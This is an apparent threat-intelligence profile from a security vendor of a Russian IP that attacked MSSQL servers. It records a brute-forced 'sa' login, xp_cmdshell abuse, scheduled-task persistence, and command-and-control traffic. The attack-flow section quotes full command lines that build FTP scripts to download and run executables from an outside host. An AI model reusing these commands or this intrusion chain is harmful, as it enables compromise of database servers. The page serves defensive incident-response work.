IP Address: 83.246.166.7Previously Malicious

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IP Address:
83.246.166.7​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

Service Configuration PowerShell Download and Execute Persistency - Logon System File Modification File Operation By CMD MSSQL Service Start CMD Access Suspicious Domain MSSQL Brute Force Outgoing Connection Execute MsSql Shell Command Listening Scheduled Task Creation Drop MsSql Table MSSQL Null Session Login Create MsSql Procedure IDS - Attempted User Privilege Gain Successful MSSQL Login DNS Query

Associated Attack Servers

js.1226bye.pw yancy.pw gamesoxalic.com down.1226bye.pw

23.236.69.114 66.117.6.174 173.247.239.186 172.83.155.170 199.168.100.74 167.88.180.175

Basic Information

IP Address

83.246.166.7

Domain

-

ISP

Closed Joint Stock Company TransTeleCom

Country

Russian Federation

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-11-23

Last seen in Guardicore Centra

2019-12-18

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

MSSQL procedures were created: sp_addextendedproc , sp_addlogin , sp_addsrvrolemember , sp_droplogin and sp_password

Create MsSql Procedure

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_reg* - registry access

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

MSSQL tables were dropped: #A1E8A56F and #A3D0EDE1

Drop MsSql Table

IDS detected Attempted User Privilege Gain : sp_start_job - program execution

IDS - Attempted User Privilege Gain

Process c:\windows\system32\ftp.exe attempted to access suspicious domains: down.1226bye.pw and gamesoxalic.com

DNS Query Outgoing Connection Access Suspicious Domain

Process c:\windows\system32\ftp.exe generated outgoing network traffic to: gamesoxalic.com:21

Outgoing Connection

Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: js.1226bye.pw

DNS Query Access Suspicious Domain

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 4 times

System File Modification

c:\program files\microsoft sql server\mssql11.sqlexpress\mssql\binn\sqlservr.exe set the command line cmd /c start /min c:\windows\system32\wbem\123.bat to run using Persistency - Logon

Persistency - Logon

MSSQL executed 1 shell commands

Execute MsSql Shell Command

The command line cmd /c echo open ftp.ftp1202.site>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.ftp1202.site>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line cmd /c echo open ftp.ftp1202.site>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa3

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

Process c:\windows\syswow64\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 167.88.180.175:8175 and 172.83.155.170:8170

Outgoing Connection

Service msiserver was started

Service Start

The command line cmd /c start c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\Windows\System32\Tasks\oka

Process c:\windows\syswow64\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 167.88.180.175:8175, 173.247.239.186:8186 and yancy.pw:8074

Outgoing Connection

Process c:\windows\syswow64\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: yancy.pw

Outgoing Connection Access Suspicious Domain

Process c:\windows\inf\aspnet\lsma12.exe started listening on ports: 32832 2 times

Listening

Service WdiSystemHost was started

Service Start

The file C:\Windows\Inf\winnts.exe was downloaded and executed

Download and Execute

The file C:\Windows\Inf\aspnet\u.exe was downloaded and executed

Download and Execute

Process c:\windows\inf\aspnet\u.exe generated outgoing network traffic to: 23.236.69.114:8114

Outgoing Connection

Connection was closed due to timeout

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IP Address: 83.246.166.7​Previously Malicious